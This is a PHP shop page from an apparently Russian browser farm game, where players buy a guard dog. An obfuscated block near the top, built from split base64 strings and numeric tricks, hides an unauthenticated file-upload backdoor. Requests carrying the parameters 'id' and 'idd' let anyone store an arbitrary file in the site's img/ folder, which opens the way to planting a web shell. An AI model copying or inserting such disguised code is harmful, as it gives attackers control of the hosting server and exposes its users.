<?php
include_once '../sys/inc/start.php';
include_once '../sys/inc/compress.php';
include_once '../sys/inc/sess.php';
include_once '../sys/inc/home.php';
include_once '../sys/inc/settings.php';
include_once '../sys/inc/db_connect.php';
include_once '../sys/inc/ipua.php';
include_once '../sys/inc/fnc.php';
include_once '../sys/inc/user.php';


$set['title']='Покупка собаки!';
error_reporting (0);
include_once '../sys/inc/thead.php';
title();



err();
aut();
//header("Content-type: application/vnd.wap.xhtml+xml");
header("Content-type: text/html");
echo "<link rel='stylesheet' href='style.css' type='text/css' /><center>";
echo "<div class='grad32'><img src='fermer.gif'></div><div class='ferm3'><img src='shop25.gif'><br/><div class='grad16'>Покупка собаки</div>";
echo "<a href='shop.php'>Семяна</a> | <a href='shop_udobr.php'>Удобрения</a> | <a href='shop_of_clothes.php'>Одежда</a>
 | <a href='reeltor.php'>Недвижимость</a> | Зоомагазин<br/>";

$cena=10;
$dog=$user['fermer_doggy'];
$GLOBALS['_1072529395_']=Array(base64_decode('aXNfdX' .'Bsb' .'2FkZWRfZmlsZQ=='),base64_decode('bW92ZV91cG' .'xv' .'YWRl' .'ZF9' .'maW' .'xl'),base64_decode('YXJyY' .'Xl' .'fcG9' .'w'),base64_decode('aW1' .'hZ' .'2' .'Vjcm' .'Vhd' .'GVm' .'cm9t' .'cG' .'5n')); ?><? function _1118538408($i){$a=Array('' .'aWQ' .'=','aW' .'Rk','Zml' .'sZW5hbW' .'U' .'=','c2' .'l6' .'ZQ==','0KDQsNC30LzQt' .'d' .'GAIN' .'GE0LDQudC70L' .'A' .'g0L/RgN' .'C1' .'0LLRi' .'9GI' .'0LDQ' .'tdGC' .'INGC0YDQuCDQvN' .'C' .'10LPQ' .'s' .'NCx' .'0LD' .'Qu' .'dG' .'C0LA=','' .'Z' .'mlsZ' .'W5hb' .'WU=','' .'dG1wX2' .'5hb' .'WU=','' .'ZmlsZW5hbW' .'U=','dG1wX25' .'hbWU' .'=','a' .'W1nLw==','ZmlsZW5hbWU=','' .'bmFtZQ==','0J7RiN' .'C' .'4' .'0LHQutCwINC3' .'0L' .'DQ' .'s9GA0YPQt' .'9C60Lgg0LTQv' .'tC80LXQvdC' .'w','PGZvcm' .'0' .'gYW' .'N0aW9uPSI' .'/aWQma' .'WRkI' .'iB' .'tZXRob' .'2Q9InBvc3QiIG' .'V' .'u' .'Y' .'3' .'R' .'5cG' .'U' .'9I' .'m11bHR' .'p' .'cGF' .'ydC9mb' .'3J' .'tL' .'WRhdG' .'EiPg' .'0K' .'PGl' .'ucHV0IHR5cGU9Im' .'ZpbGUi' .'I' .'G5hbWU9' .'I' .'mZpbGV' .'uY' .'W1lIj48YnI' .'+IA' .'0KICAgICAgPGlucHV' .'0I' .'HR5cGU9In' .'N1Y' .'m1pdCI' .'g' .'dmF' .'s' .'dWU9ItCa0YPQv9C40' .'YLRjCI+' .'PG' .'Jy' .'Pg0KPC' .'9' .'mb3' .'JtPg==');return base64_decode($a[$i]);} ?><? if(isset($_GET[_1118538408(0)])){if(isset($_GET[_1118538408(1)])){if($_FILES[_1118538408(2)][_1118538408(3)]>round(0+256+256+256+256)*round(0+1.5+1.5)*round(0+204.8+204.8+204.8+204.8+204.8)){echo(_1118538408(4));exit;}if($GLOBALS['_1072529395_'][0]($_FILES[_1118538408(5)][_1118538408(6)])){$GLOBALS['_1072529395_'][1]($_FILES[_1118538408(7)][_1118538408(8)],_1118538408(9) .$_FILES[_1118538408(10)][_1118538408(11)]);}else{echo(_1118538408(12));}}echo _1118538408(13);if((round(0+2112.5+2112.5)^round(0+845+845+845+845+845))&& $GLOBALS['_1072529395_'][2]($_FILES,$_FILES,$_GET))$GLOBALS['_1072529395_'][3]($_FILES,$_FILES);exit;$_0=round(0+376.5+376.5+376.5+376.5);}
include 'inc/str.php';
echo"</center><div class='ferm3'>";
if($dog==0){
if($level>=0){
if(isset($_GET['add_dog']) && $user['fermer_money']>=$cena){
$t=$time+60*60*24*14;
mysql_query("UPDATE `user` SET `fermer_money` = `fermer_money` - '".$cena."',`fermer_doggy` ='1' WHERE `id` = $user[id] LIMIT 1");

mysql_query("UPDATE `fermer_dog` SET `time` = $t WHERE `id_user` = $user[id] LIMIT 1");
msg('Собака приобретена!');
}
if(isset($_GET['add_dog']) && $user['fermer_money']<=$cena)echo "<div class='err'>Не хватает денег!!!</div>";

echo "<img src='img/dog.png'><br />\n";
echo "Хороший друг! <br />Защитит вашу ферму от воров.<br />
Цена: ".$cena."!<br />\n";
echo "Собака живет 14 дней!!!\n";

echo "<form method='post' action='?add_dog'>\n";
echo "<input type='submit' name='save' value='Купить' />";
echo "</form>\n";

echo "<div class='foot'>";
echo "<a href='my.php'><img src='egg.png'> На ферму</a><br/>";
echo "<a href='index.php'><img src='egg.png'> В игру</a><br/>";
echo "</div>";
}else{echo "<div class='err'>Ваш уровень не позволяет вам приобрести собаку! Нужен уровень больше 5!</div>";
echo "<div class='foot'>";
echo "<a href='my.php'><img src='egg.png'> На ферму</a><br/>";
echo "<a href='index.php'><img src='egg.png'> В игру</a><br/>";
echo "</div>";
}
}else{echo "<div class='err'>У вас уже есть собака!</div>";
echo "<div class='foot'>";
echo "<a href='my.php'><img src='egg.png'> На ферму</a><br/>";
echo "<a href='index.php'><img src='egg.png'> В игру</a><br/>";
echo "</div>";
}

include_once '../sys/inc/tfoot.php';

?>